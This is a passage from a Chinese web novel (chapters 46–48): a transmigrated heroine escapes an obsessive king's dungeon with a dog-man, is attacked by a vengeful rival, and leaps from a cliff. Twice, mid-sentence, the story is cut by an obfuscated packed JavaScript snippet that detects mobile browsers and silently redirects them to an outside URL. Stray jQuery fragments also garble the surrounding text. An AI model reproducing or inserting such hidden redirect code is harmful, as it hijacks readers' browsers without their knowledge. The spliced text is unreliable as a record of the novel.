“爱情灵药。”时准语调很轻。 温初夏忙捂住痛得要裂开的下巴,眉心紧锁:“你、你给我说清楚!” 同时暗自松了口气:幸好刚才把这两杯喝的调换了位置,这里面果然有问题,我真是太机智了。 时准回到对面的座位坐下,右手握着还是满的那一杯,解释道:“这两杯牛奶里分别放了两种药,一种是爱上别人的药,一种是被别人爱上的药。你刚才喝掉的那杯,里面放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657562|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是爱上别人的药。” 不。 温初夏表情逐渐僵硬,心说:我喝的是被别人爱上的药,所以他手里的是…… 时准握紧手中的玻璃杯,脸上闪过一瞬近乎疯魔的神采,他的嘴唇明明是微笑着的,但眼里却毫无笑意,取而代之的,是自欺欺人的苦涩。 他问:“夏夏,你开心吗?只要我喝下这杯东西,你就从内到外,从身到心,永远都只属于我一个人了。” 不。 不不不不不不…… 温初夏心里疯狂摇头。现在的时准就已经爱自己爱得够变态了,如果又喝下这个,那他得疯成什么样啊?!! 不行! 绝对不能让他喝!!! 眼看杯口就要送至唇边,温初夏行动跑在脑子前面,站起来,一掌打翻时准手里的杯子。 “哗啦——” 玻璃粉碎,淡粉色的液体泼洒一地。 “你!”时准猛地擒住她来不及收回的手,这一张脸在瞬间变得血色全无,眼里愤怒达到温初夏从未见过的浓度。 他怎么这么生气? 温初夏下意识愣住,开始自我怀疑:我确定只是打翻了一杯魔法小药水吗? 但时准的确是气急了,手下也没个分寸,立刻把温初夏拽出审讯室,一路上丝毫不顾她在尖叫喊疼,大手始终紧紧握着她纤细的胳膊,像是生怕她逃了似的。 直到将温初夏野蛮地推进她原来呆的监牢,时准才松手,迅速关上铁门。 “把人看紧了。”他声音冷的吓人,让闻声赶至的监狱长心惊胆战,“如果这段时间她逃了出去,我会砍掉你们所有人的脑袋。” “是陛下!”监狱长惶恐地低下头,“我会安排五倍的人手在门外巡视,绝对不会让未来王后有任何机会逃出去!” 时准:“十倍。” 啥? 监狱长心里叫苦不迭,他们根本没这么多人手啊! 但陛下都发话了,他只能忍气吞声地答应:“……是。” 时准看他一眼,然后快步离开,脸色无比凝重。 他要让西奥多立刻再赶制一剂灵药出来。否则,一天之后,温初夏会因为不知道自己应该爱谁,而变成一个绝望的疯子! 地牢很快变得忙乱起来。 监狱长把刚才从时准那里受到的气,通通又撒到下属身上,大声呵斥他们这段时间一定要把脑袋别在裤腰带上,把未来王后所在的囚室全方位无死角地围个水泄不通,连只蚂蚁也不准放出去。 在他骂人的这段时间里,没人注意到,一只黑色罗威纳寻着空气中牛奶的香味,一路摸索进审讯室,将地上的没来得及清理的液体舔了个干净。 囚室内。 温初夏坐在床上,撸起左侧袖子,刚才被时准握住的地方红肿起来,看起来的样子有些可怕,实际的痛感更加可怕。 骨头没裂开吧? 温初夏试着活动了下,感觉骨头应该还是完好的,松了口气,但接着眉心却蹙了起来。 时准干嘛发这么大脾气? 她想不出一个合适的理由来,只能将原因归结为—— 时准本来就对昨晚的事情很生气,但一直忍着没表现出来,她刚才打翻杯子的挑衅举动,无异于是往火药桶的导火索上扔了一根燃烧的火柴,他当然得炸。 温初夏无力地躺到在床,眼睛看着黑漆漆的天花板,自言自语:“可我也是为了你的心理健康着想啊,再爱下去,人都要癫了……” 当夜,温初夏差点又失眠,在床上翻了不知道多少次身,才终于强迫大脑进入待机状态。 …… 迷迷糊糊间,温初夏感觉有一具温热的身体重重压在身上,直压的她喘不过气。 与此同时,一股热乎乎的气息扑到脸上,气味有些奇怪,有些难闻。 紧接着,一截湿软滚烫的东西开始反复触碰她的脸颊,让她整张脸都变得湿漉漉的,像被某种粘稠的液体洗过一样,难受极了。 温初夏以为自己正在做梦,在梦里被鬼压床了。 鬼的名字叫时准。 而梦里的场景,则和昨晚一模一样。 时准压在她的后背上,叫她既不能动弹,也难以呼吸,一直抚摸着,亲吻着,刮蹭着。 哪怕她哭得再狠,求饶的话说再多遍,时准也全当没听见,反而还更加过分地欺负她,皮肤都磨红了磨痛了也不停。 这场梦做得太真实,温初夏没忍住,真情实感地哭出了声,边哭还边骂: “时准你个王八蛋呜呜,就知道欺负我,还把、把我关起来。我不喜欢这样,不喜欢被关着,我要自由,我要离开这里,快放我走呜呜呜……” 哭着哭着,身上的重量忽然消失不见,温初夏感觉身体一轻,是对方将她抱了起来,而后,耳边响起猎猎的风声,夜晚的凉风吹得她湿漉漉的脸颊一片冰凉。 温初夏打了个寒噤,眼皮掀开,仰起头,看见了一张完全陌生的、诡异的脸。 ? 她彻底清醒过来。 这人谁啊? 怎么长得跟狗似的???!! 47. 第 47 章 今晚是月圆之夜,一轮烫金色的玉盘高悬于天际,远远望去,仿若一枚小小的火漆印章,封印着深黑夜空向人间邮寄的信件,温暖又柔情。 可满月之下,城堡东侧塔楼的楼顶却是灯火通明,气氛沉默而紧绷,无人有心欣赏月色。 炼药室内,青铜坩埚在酒精灯上沸腾,粘稠的粉白色液体咕嘟咕嘟冒着气泡,腾起的雾气在墙壁上投下扭曲的阴影,宛如无数双枯手在疯狂抓挠。 一阵冷风吹过,白纱窗帘幽灵一样地飘舞起来,明黄色的蜡焰紧跟着开始瑟瑟发抖,如同受到了惊吓。 “报——!” 尖锐的呐喊将静谧的空气一举撕破,一名士兵气喘吁吁急步奔来,单膝跪在时准面前。 “地牢那边传来消息,说、说王后被一只怪物给截走了!” 听到这个消息,焦急守候在炼药室外的时准脸上闪过一瞬空白,随即暴怒地上前,揪住来报信的士兵的衣领,力气大到竟将他整个人都提溜了起来,膝盖悬在半空中。 “你说什么?!” 年轻的国王目眦欲裂,眼白布满蛛网般的血丝,仿佛有两簇冰冷的火焰在眼底灼烧。 “我不是让你们好好看住她吗,不是让你们安排十倍人手吗,你们看人看到狗肚子里去了?!!”他头一回如此失态。 士兵吓得快哭了,死命收紧膀胱才不至于当场屁滚尿流,颤抖道: “我、我们确实是、是安排了十倍的人手,可截走王后的怪物实在太可怕了,足足有八英尺那么高,长得像是化作人形的猛兽,力大无穷、速度极快,硬生生撞开了地牢的大门,墙也撞塌了不少,整座地牢都快被那畜生毁完了!” 他一张白脸涨得通红,话也说不利索:“监狱长断了好几根肋骨,吐了好大一口血,还有其他……” “我不在乎地牢塌成什么样,那个废物断了几根肋骨究竟死没死。” 国王苍白俊美的脸庞森冷异常,额头、太阳穴的青筋如蚯蚓般凸起,仿佛有一股狂暴的力量在皮肤下横冲直撞,随时可能冲破血肉的桎梏。 而他的眼神,简直像在看一具轻飘飘的尸体。 不寒而栗的声音机械地从齿关吐出:“我只要你告诉我,我的王后,究竟被带到哪里去了。” 衣领越收越紧,紧到士兵无法呼吸,只能用尽肺部最后一丝氧气,噎声回答:“他们已、已经离开了城堡,往、往西边的森林去了……” 说完,那截涨红的脖子便软绵无力地倒了下去。 时准松开手,并没有多看这位新鲜死人一眼,立即命令守卫在走廊两侧的盔甲士兵:“备马,随我出城。” 他必须得在明天下午之前把温初夏找回来。 如果找不到,那么这里的所有人,包括他自己,都不用活了。 “请等等。”西奥多听到动静,不急不忙地从炼药室里走出来,叫住时准:“尊敬的陛下,恕我冒昧提醒,您好像忘了件极重要的事情。” 闻言,刚迈开的步子又顿住,时准冷脸侧目,看着他。 墙壁上用于照明的火炬正熊熊燃烧,火光也同样在他漆黑的瞳孔里跳动,将眼底的情绪搅动成一片汹涌不定的海。 面对一副要吃人模样的时准,西奥多的灰眼睛狡黠地弯起,非但不恐惧,反而还笑眯眯地看着他,样子友善极了。 但他克制的嘴角之下,藏着一丝外人极难察觉的,残忍的兴奋。 二人相顾无言,直到时准闭上眼,又睁开,然后,认命般退了回来。 “药做好了?”时准问。 西奥多走到他身边,恭敬地回答:“当然。” “好。”时准很轻地点了下头,看着西奥多,目光中的狠厉被疲惫取代掉大半,道:“那就由你代我去,一定要把她平安无事地带回来。” 西奥多右手贴在左胸前,微微欠身,行了个优雅的鞠躬礼,低头时,眼里的兴奋再也控制不住,如毒液一般疯狂溢出。 他用无比平静的声音说:“臣一定不辱使命。” . 进入森林后大约又狂奔了十来分钟,温初夏脸上的口水早已风干,皮肤光滑细腻没有一丝褶皱,就和她此刻的大脑皮层一样。 虽然追兵早已被甩在身后不知多少里,但这位抱着她的怪物并没有就此停下,而是又继续奔出了好长一段距离,速度快的像时速一百的摩托,让温初夏久违地体验了一把什么叫风驰电掣,耳膜涨股股的。 直到进入森林腹部,这辆摩的……不,这位怪物先生才逐渐放慢速度,由跑变为走。 他一双腿又粗又壮,能轻易将横档在前路的树枝嘎嘣踩断,而且还长,一迈步就是一米五,走起来并不比正常人跑步慢。 臂膀更是孔武有力,从城堡监狱一直到这儿,他全程单手把温初夏抱在怀里,稳当得跟云台似的,丝毫没有颠到她,也没有勒到。 温初夏甚至觉得,这条手臂比闹鬼小学里夺命过山车的肩杠还要安全许多。 面前是一处幽静的湖泊,水面在月光的照射下闪着粼粼的波光。 四周虫鸣窸窣,草木丛生,萤火虫仿佛洒落凡间的小小星辰,在春夏之交的繁茂丛林间自在飞舞,美的像是一场梦境。 但温初夏却清醒的不行。 她知道,这位人/狗狠话不多的怪物,绝不可能是拥有化身动物技能的顾瑜。 因为顾瑜是个白净清秀的青春期男高,和李确差不多类型,就算变成狗,也顶多只能是头毛茸茸的萨摩耶,或者博美,而不是像眼前这位—— 大眼塌鼻,皮肤黝黑,头顶的短发又密又炸,膀大腰圆肌肥骨健,无论是纵向高度还是横向宽度都是常人的两倍,像一堵坚固异常的城墙。 温初夏现在浑身上下都是狗味儿,脸还干的像屁股一样,她很想去湖边洗一洗,于是小心翼翼地扯了扯怪物先生脏兮兮的衬衣。 是半小时前从一个死去的侍卫身上扒下来的。 因为尺码太小,成排的扣子只扣了最下两颗,露出里面如精密切割的大理石块般整齐的腹肌,古铜色皮肤之下,隐约可见蛰伏的血管。 而两边的袖子则直接被撑裂开了。 温初夏轻声道:“他们暂时找不到这里,你累了吧?我们可以在这里休息一晚,等天亮了再赶路。” 虽然她也不知道对方究竟想把自己带去哪儿,有什么意图,但鉴于双方力量悬殊巨大,在没搞清楚状况之前,她不能表露出任何忤逆或反抗的意思。 闻言,怪物先生鼻子呼出一口热气,扑到温初夏冰凉且紧绷的脸上,鼻腔里发出沉闷的音调,听起来很像是“嗯”了一声。 随后,脚步方向微转,近两米五高的粗壮身躯跨步走到湖边,俯下身,将怀里的人放在一块大鹅卵石上。 温初夏没有穿鞋,脚心踩在覆盖着一层杂草和树叶湿软泥土上,触感又扎又痒,每走一步都让她很想嘶叫出声,但咬牙忍住了。 她慢慢挪腾到湖边,蹲下,先洗干净双手,再捧水洗脸。 微凉的湖水顺着脖颈滑入睡裙衣领,令温初夏打了个寒噤,她忙用袖子抹掉悬挂在下巴的水珠,甩甩手,转头问:“你是谁?叫什么名字?” 借着皎洁的月光,温初夏终于彻底看清了对方的长相。 说实话,丑的有点恐怖。 但他又有一双比湖水还要纯净的下垂大眼,黑白分明的色彩里不含有一丝杂质,像出生后第一次睁开眼睛的婴孩。 所以温初夏虽然提着心吊着胆,却并不觉得害怕,保持一副友好的表情看着对方,等待回答。 怪物先生蹲坐在地,“汪”了一声,又摇摇头。 他是狗,没有名字。 温初夏在心里默默翻译。 而且还不会说人话。 “那你为什么要救我出来呢?”她又问。 这回,怪物先生抬手指向她。 “我?”温初夏惊疑地扬起眉,也指着自己,十分疑惑:什么意思? 她脑筋转了一转,试图理解:“你的意思是,是我让你带我出来的?”这话好像绕口令啊。 怪物先生点点头,“汪”了一声。 没错,是这样的。 温初夏登时眉毛扬得更高,不解道:“我什么时候让……” 哦,明白了。 温初夏猛地一拍脑门,是她当时说的梦话! 内心一片凄然:老天奶,谢谢你送了我这么大一场乌龙。只希望时准得知这个消息之后不要被气吐血。 梦里说的话能当真吗,这位狗sir未免也太实在了。并且他为什么要听自己的话?我又不是他的主……等等!他不会已经认我当主人了吧??! 温初夏放下手,决定做个实验。 “你能,站起来吗?” 对方当即站起来。 “那你能转两圈吗?” 对方当即转了两圈。 “叫一声?” “呜汪!” 停在树上休息的鸟雀被这声吼叫惊吓到,赶紧扑闪起翅膀,离开是非之地。 完了,他真把我当主人了。 不过,这似乎也不算是一件坏事,自己不仅不用受到钳制小心谨慎,反倒还成了上位者。 温初夏命令罗威纳去捡些干柴来,钻木取火,升起一堆不大不小的篝火,湿冷的身体瞬间温暖起来,没穿鞋袜的脚也跟着舒坦了许多。 就在温初夏闭上眼享受时,却听到一阵粗重的呼吸声正朝自己逼近,睁眼一看,吐出的长舌头都快怼她脸上了。 “噫!”温初夏大吃一惊,连连后退,“你要干什么?!” 罗威纳不语,只是一味地手脚并用向她逼近,一双大眼睛湿漉漉又亮晶晶,里面没有恶意,只有期待。 他这是……想我摸摸他? 毕竟他是一只狗,帮主人做了事后,理所应当得到表扬。 于是温初夏赶紧去摸他的头,短毛的手感出乎意料的有趣,像泡了软化剂的海胆,挠的人手心痒。 得到抚摸的罗威纳立刻停在原地,舒适地眯起眼,嘴角咧得很开,露出上下两排凌乱尖利的犬齿,长舌随着急促的呼吸不停抖动,嘴里的气味弥漫出来。 温初夏有点想吐,左手rua狗不停,右手辅助着身体默默不断往后退,直到罗威纳睁开眼,发现一人一狗之间的距离已经拉得很开了。 “停——!” 白生生的小脚踩在黝黑的脸颊上,用尽全力,才勉强让大脑袋往右偏了30°,不再向前逼近。 “不准舔我脸。”下身正拼命发力,导致温初夏话说得咬牙切齿,“很恶心的你知不知道?而且你舔完我又得去洗脸,洗完衣领又要湿,又得烤,麻烦死了!” 但罗威纳却充耳不闻,左脸紧贴着温初夏白到发绿的左脚,一点点把头摆正,纯净的狗眼里满是迫切的渴求,如同想要一颗糖果的孩童,但外表和行动却彰显出十足的兽性,割裂极了。 温初夏就要抵他不住,忙转换策略,大声道:“等明天!明天早上再舔好不好?” 那群士兵就算再菜,明早已经也能找到他们。 可毛茸茸的大脑袋依旧在逼近,温初夏被迫弯起膝盖,仰起头闭上眼,心里连声骂爹,嘴里胡言乱语:“而且我还会奖励给你一个亲亲!” 液压机般的力道忽然止住,“汪汪汪!” 温初夏疑惑地睁开,看见罗威纳转起圈来,样子兴奋极了,又粗又黑的尾巴转成螺旋桨,好像下一秒就要原地起飞。 果然,狗子在高兴的时候,看起来会很不聪明。 实际上也很不聪明。 清晨。 燃烧了一夜的篝火不知何时熄灭,但温初夏并不觉得冷,因为她昨晚睡的是1米2×2米5的单人恒温大床——罗威纳的后背,不仅不冷,还觉得稍微有些热。 晶莹的露珠从叶片尖滑落,温初夏睁开眼,反应了会儿,然后动作极为小心地从罗威纳身上爬起来。 她瞥了一眼还在地上酣睡的狗子人,旁边是碳化成焦黑色的柴火,无声地呼出一口气,立马开溜。 她才不要再用口水洗脸,更不想亲一条狗。 “嘎吱。” 是细树枝被靴子踩断的声音。 猫猫祟祟的步子顿住。 “公主殿下。” 一只粗心大意的蜘蛛在织网时不小心掉落到黑色风衣的肩膀上,男人察觉后,直接徒手把它拿了下来,手指微微一用力,饱满的躯干直接爆浆裂开。 西奥多拿出丝巾擦拭手指,擦完后,皮笑肉不笑地对温初夏说:“您可让我好找啊。” 温初夏实实在在被恶心到了,嘴角抽了抽,冷哼一声,抱起胳膊,语气比四周的雾气还凉:“你也让我好找啊,早就想和你单独聊聊了。” “聊什么?”灰眼睛迸发出异样的光彩。 她果然认出我来了,西奥多心想。 谁知下文却是:“是你告诉林茵陈我被关在哪儿的吧。” 什么? 西奥多眉毛一挑,又迅速压制下去,微笑说:“是又怎样。” “你这个叛徒。”温初夏骂道,“总部派你过来,是让你帮忙的,不是让你来搅浑水的。你脑子是被驴踢了还是给狗吃了,我真好奇你入职前的智商测试是怎么通过的,给监考塞了不少钱吧?” 自打穿成小白花女主,温初夏很久没有这样不积口德过,今天骂一骂,只觉得身心舒畅。如果能再扇两巴掌,那就更爽了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672162|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “叛、徒?” 西奥多的笑意变冷,“我觉得你似乎搞错了,我从来都没有和你同一阵营过,从前没有,以后更不会有。” 温初夏:? 她用一种看待15岁以下青春期中二少年的眼神,看着对方,眉毛微拧,不确定地问:“我们,之前,认识?” 闻言,灰眼睛倏地瞪大。 “纪琳!”西奥多五官有些扭曲,怒道:“你个贱女人,居然敢把我给忘了??!” 他怕温初夏不能立刻认出自己,甚至还特意取了一个和之前界面男主角极为类似的名字,三个字里有两个字读音都是相同的。 西奥多。 西门傲世。 但凡没失忆,她都该迅速反应过来他是谁吧。 她是不是故意的?故意假装忘记,以此来气自己?! 简直岂有此理!!! 莫名被骂,温初夏的第一反应本该是生气才对,但又被西奥多这副气急败坏要破防的样子搞得云里雾里,摸不着头脑。 她眨眨眼,思索道:“纪琳?这名字好耳熟啊,好像是我之前穿过的一个女配的名字……” 并且西奥多骂她“贱女人”的语气,也很耳熟。 “哦!”温初夏想起来了,一拍手,指着面前沉默无语的男人,惊讶道:“你是之前那个,那个那个那个那个……差点儿崩溃的界面的男主?是不是?!” 西奥多:“……” 搞了半天,原来她是真不记得我的名字了。 这回是真的彻底破防了。 西奥多眼底淬满了狠厉的毒,气笑出来:“你把我搞得那么惨,让整个穿书局的人都知道,我堂堂一个男主,居然被一个女配绑架了,还被她当做人质来威胁总部。害的总部把我降了级,从男主又降回男配,你知道我都多恨吗?” 他一步步逼近,脸上的表情已经扭曲的有些不像人形。 “我做梦都恨不得把你的脖子咬断骨头嚼碎粉身碎骨挫骨扬灰……所以一听说你这里出事了需要人帮衬,我就立刻报了名,发誓要用生命来阻止你通关这个副本。纪琳,我知道你最害怕什么。” “你知道个屁。”温初夏恶寒地皱眉,同时往后退,但很快背就抵在了一棵树上,无处可躲。 终于从她脸上捕捉到了一丝令人愉快的情绪,西奥多暂时恢复了人样,嘴角重新挂上微笑。 “我当然知道,仇人之间要比爱人还要互相了解。”他附耳轻声道,“你最怕不得自由。” “我自从这个副本开始起,就没自由过,你见我怕过吗?”温初夏指尖戳着西奥多的肩膀,把他推开一定距离,眼神冰冷,击破他毫无威慑力的幼稚话术。 “而且你阻止不了我,这个副本马上就要结束了,我一定会回去的。”她笃定道。 “是吗?”西奥多笑意更深了,“那我倒有件事情想请教一下,预言诗里的白鸽,怎么会到现在还没有出现呢?” 温初夏往他脸上呸了一口,讥讽道:“你有病啊离我这么近?不会是因恨生爱,喜欢上我了吧?” 西奥多抹掉唾沫,然后手掌用力扼住温初夏的面颊,唇角绷直:“我警告你,你现在人在我手上,别试着激怒我,我保证你会没有好果子吃。” 温初夏感觉牙齿快被捏碎了,却还是恶狠狠地瞪着他,嘴比钛合金还要硬:“那、又、怎、样,老娘怕你啊,手下败将……啊!” “贱人!”西奥多松开手,又扇了她一巴掌,看她跌坐到地上,还欲抬脚再踹,踹她肋骨,“我让你嚣张……” “嘘——” 一道嘹亮的哨声响起,划破整片森林的寂静。 西奥多不明白温初夏为何要忽然吹口哨,动作下意识顿住。 然而,就是这短短半秒不到的愣神,让他下一刻直接被一头身形高大浑身蛮力的怪物顶飞,后背撞到八米开外的一棵老槐树,树冠剧烈颤动了一下,然后再重重摔到地上。 温初夏扑进罗威纳怀里,被他以昨晚同样的姿势抱起,命令道:“快跑!” …… 直到他们快要没影,西奥多才终于爬起来,对潜伏在身后的士兵吼道:“愣着干什么?一群废物赶紧追啊!” 当一支尾部带有羽毛的箭矢“噔”的一声,插入斜前方的树干时,温初夏才知道,此刻身后的追兵和昨晚竟然不是同一批人马。 数不清的红木箭像雨点一样像他们袭来。 当逃到悬崖边时,罗威纳的后背已经被乱箭射成刺猬了,滚烫的鲜血浸湿了温初夏的白色睡裙,但他仍没有倒下,还是将温初夏紧紧抱在怀里。 西奥多骑着一匹棕红色的战马,背有些佝偻,头发里还滑稽地插着一小截树枝。只因为他在人群的第一排,所以没有人发现并提醒他。 温初夏看得倒是一清二楚,但,她现在没有丝毫嘲笑人的欲望,两只手无用地捂住罗威纳胸口上汩汩流血的伤口,低声问:“你怎么样?快放我下来别抱着我了!” 昨晚还对她言听计从的小狗,此刻却对这句话置若罔闻,依旧紧紧地抱着她,另一只手将背后的箭一口气全拔掉,粗重的鼻息变成了抽搐的喘息。 “你疯了?!”温初夏仰头瞪他,想阻止但已经完了,“这样会死的更快你知不知道!” “放弃吧。”西奥多手握缰绳,驱使身下的马儿走近几步,冷飕飕道:“挣扎是无用的,你们逃不掉。” 说着,他又从马鞍边的袋子里掏出一个东西,扔到温初夏面前—— 一只血迹斑斑的鸟。 温初夏瞳孔震惊地汇聚成一点:这是……诗里的白鸽?那红玫瑰岂不是! “是你干的?!”她破了音。 “当然。”西奥多得意地笑了笑,连背也打直了,“不是我还会是谁。我说过,我要阻止你离开这里,因为这是你最恐惧的事情。” 我,回不去了? 温初夏大脑一片空白,旋即又在无边绝望之中灵敏地捕捉到了一线生机。 还有种方法,说不定也能让她离开。 虽然这个方法很极端,很冒险,但至少有一丝希望。 而只要有希望,有可能,她就一定要尝试。 “和我回去吧,亲爱的公主殿下。”西奥多又上前两步,口蜜腹贱道:“国王已经在城堡里等候你多时了。” 这时,罗威纳因失血过多,身体晃动了一下。 温初夏瞅准时机,挣脱他的怀抱,染红的衣裙被奔跑时带起的风吹得不停翻飞,像一朵在苍天大地之间泣血的玫瑰。 罗威纳,西奥多,和其他士兵们见状,都急忙去追。 但他们全部都晚了一步。 温初夏纵身一跃,跳入了漆黑的裂崖。 48. 第 48 章 当意识逐渐清醒时,温初夏首先听到的是一阵湍急的水声,然后闻到一股混合着血腥味的尘土味儿,身下凹凸不平的石块碾得骨头生疼。 睫毛颤动了几下,纤薄的眼皮掀开,发现天穹已完全大亮,被断崖削成一线蓝绸,嶙峋的岩壁仿佛凝固的巨浪,褶皱里嵌着墨绿苔藓。 一道灿烂的阳光漏到崖底,将旁边湍急的溪水照得通透明亮,水面漂浮的泡沫变成了透明的花朵。 没想到,悬崖之下竟藏着这样一副幽静的美景。 但温初夏的一颗心却彻底沉了下去。 我没死,我还在副本里,没有返回总部。 刚才她前脚刚一跳崖,罗威纳后脚也跟着跳了下来,在坠落过程中严严实实地抱住她,当做缓冲气垫,让她没能死成。 温初夏扭头,看见它已变回了狗狗的模样,毫无生气地横倒在碎石之上,双眼紧闭,猪肝色的舌头半吐出,尾巴僵直,已经死透了。 它黑里发红的短毛浸满了血,胸腔没有一丝起伏,结实的皮肉之下不知碎了多少根骨头,上半身和下半身之间呈现出一种不连贯感。 应该是脊柱断了。 温初夏坐在溪边的碎石地上,颤颤巍巍站起来后,身体立刻踉跄了一下,勉强稳住没有摔倒,一步一步走到尸体旁边。 心脏的麻木完全覆盖掉脚底传来的痛感。 她蹲下,左手摸了摸罗威纳失温的脑袋,再俯下身,轻轻吻了一下它的额头。 “好笨的小狗。”她声音有些发颤,一滴苦涩的泪从眼眶仓皇滚落,滑至下巴,“怎么总是误解我的意思呢……” 温初夏徒手挖了个坑,把罗威纳的尸体埋进去,然后捡了很多鹅卵石来,堆出一个圆锥形的小石堆,再往石头缝隙里插了很多野花野草,把小小坟墓装饰得漂亮一点,像个花篮。 安葬完后,她去溪边清洗指甲缝的污泥。 刚才挖坑时,十根手指的指腹被磨得又红又肿,现在被冰凉的溪水一冲,痛感顿时减轻了许多。 洗干净了手,温初夏站起来,低头看着自己身上的睡裙,东一块血渍,西一片污渍,看不出原本的米白底色,裙摆还被划破出很长一道口子,简直像是刚从死人堆里爬出来的流浪汉。 她权衡了一下脏污但干燥的衣服,和干净但打湿的衣服,哪个穿起来更舒服,纠结过后,还是选择了前者,顺着溪水流淌的方向行走。 这是她目前唯一的道路。 温初夏不再想自杀了,刚刚才有一颗纯洁炙热的心脏因为她而停止跳动,她不能如此不珍惜自己的生命。 就算这个副本无法通关,就算她最后仍不得不采用“死亡”这个极端的方式脱离界面,灵魂自动返回总部,但在这之前,有一件事情她必须得做—— 那就是搞死西奥多。 从早上一刻不停地走到正午,脚下的碎石路渐渐变成深绿茂密的草地,视野也逐渐开阔起来。温初夏去交流频道里敲好久不见的粉团子: “在?给我个地图,我要尽快回到城堡里。”然后一刀捅死那个贱男人。 “好的好的,宿主你稍等一下下哦。”粉团子立马忙活起来,效率超快,不到半分钟就规划好了。 一幅巨大的虚拟地图出现在温初夏眼前,上面用红线标记着一条最佳路线。 粉团子介绍说:“宿主你先往东北方向直走1.7公里,然后进入一处洞穴,洞穴的出口就是森林的最西边,继续往西走大概不到两公里,就能看到一个农场。你可以向农场的人借一匹马,再一路向东绕过森林进入城邦。如果顺利的话,今天太阳落山之前你应该就能回到城堡了。” 温初夏给粉团子点了个赞,按照她说的路线,首先向东北方走。 半小时后,发现了被成片绿萝遮挡住的洞穴入口。 掀开珠帘一般的藤蔓,洞里一片漆黑,散发着阴森森的冷气,跟鬼屋似的。 温初夏不怕黑也不怕鬼,但有点担心里面会不会猛兽出没,又去戳粉团子,得到的回答是:“系统显示洞穴里没有危险因素存在,可以放心进。” 好,那就上。 温初夏放心大胆地迈开步子,身体被黑暗吞没。 洞穴里安静极了,在伸手不见五指的黑暗中,耳边只能听见一阵微弱的风声,原本柔软白嫩的脚底沾满了厚厚一层灰土,又痛又肿,快要磨出水泡来了。 虽然走路姿势已然变得吃力,但温初夏丝毫不把这点儿疼痛放在心上,她只想尽快走出这条隧洞,再走出这片森林,回到城堡。 自己失踪了这么长时间,时准肯定已经急死了。 温初夏只要一想到这点,心脏就仿佛被架在火盆上炙烤,又焦急又难受。 所以尽管脚底越来越疼,她的步子却逐渐迈得越来越快,呼吸急促,后颈的汗水刚一冒出,即刻就被洞穴的冷风给吹凉,像抹了薄荷汁一样,清凉到甚至有些发疼。 也不知在这暗无天日的窄道里独行了多久,漆黑的视线里终于出现一点微小的光亮,在前方一百来米的地方,似乎是出口。 温初夏心中一喜,脚下的步伐更急更快,在急促的呼吸声中,那个小点也逐渐变得更大更亮。这下她可以笃定,这就是出口。 很快,她来到距离出口不到二十米远的位置,温初夏已经能看到外面绿油油的景色,紧绷了一路的唇角正要上扬,谁知前路居然躺着一处小水洼。 她毫无察觉,一脚踩上去,刺溜滑出去半米,然后重重摔倒在地上,发出一声惨叫:“啊!” “啊!啊。啊。啊……” 声音在空旷的洞穴里不断回响。 紧接着,像是触发了某种开关,摔懵了的温初夏还没来得及拍拍屁股站起来,就听到从四面八方传来窸窸窣窣的动静。 这些动静不大,但十分杂乱无章,并且还是6D音效的,好像是栖息在石壁上的生物受到惊扰,苏醒了过来,正在拍打翅膀。 温初夏即刻就想跑,但已经来不及了。 下一刻,一只不知是虫是鸟还是蝙蝠的生物撞到了她的后背,她立刻双手抱头,捂住耳朵,下半张脸藏进膝盖里,紧紧闭上眼。 接下来的场景只能用蝗虫过境来形容。 但主角不是蝗虫,而是蝴蝶。 不计其数的血漪蛱蝶从她身体上方呼啸而过,掀起一阵威力不小的飓风,万千蝶翼如同被风掀起的绸缎,从洞穴深处倾泻而出。 直到四周重新归于寂静,温初夏才慢慢把手放下,抬起头站起身,继续往洞穴出口走。 出去后,她才发现自己破烂打绺的裙边居然还粘着一只,于是拎起裙摆,用力抖了抖。 “走吧,赶紧去追你的同伴和家蝶,它们快要飞远了。” 血红色的翅膀不停扑闪着,像一簇燃烧的火焰,在深棕浅绿的森林里划出一道猩红亮眼的轨迹。 但奇怪的是,这只蝴蝶并没有去追随大部队,而是先围着温初夏盘旋了好几圈,然后,又飞回了藤蔓缠绕的洞穴。 “好恋家的蝴蝶,但就一只蝶呆着,不会觉得孤单吗……” 温初夏嘀咕一句,扭身去看睡裙背面,果然在腰下方发现了一块很显眼的污渍。 是她刚才不小心摔的那个屁股蹲儿。 这下不把衣服洗一洗是不行了,不然一会儿都不好意思见人,而且别人见她这么狼狈,说不定还会以为自己是从疯人院里跑出来的,不愿意借她马,那就麻烦了。 温初夏打开虚拟地图,找到她最近的第一条小溪,往溪边走去。 “呼——” 两只脏兮兮的脚没入潺潺流水,附着在表面的泥土瞬间被冲走大半,温初夏发出一声舒适的喟叹,想等泡一会儿脚后,再把衣服脱下来洗。 忽然,溪流对面近一米高的茂密灌木丛里发出一点响动,叶子也跟着簌簌抖动了下。 温初夏浸在水底的小腿不再晃来晃去,目光瞬间变得警惕,盯着对面那堆灌木丛,心想里面是不是藏着什么动物。 这森林里会有什么动物? 松鼠?兔子?狐狸?狼? 或者她不会运气这么背,遇到了狮子老虎熊之类的猛兽吧? 灌木丛还在抖动,并且抖得越来越剧烈。 温初夏把心脏提到嗓子眼,屏住呼吸,小心翼翼地收回双腿,正要准备开溜。这时,一颗脑袋忽然从灌木顶部冒了出来—— 圆圆的,黑色短发的,人类脑袋。 凝固的呼吸瞬间畅通。 好险好险,小命应该能保住了。 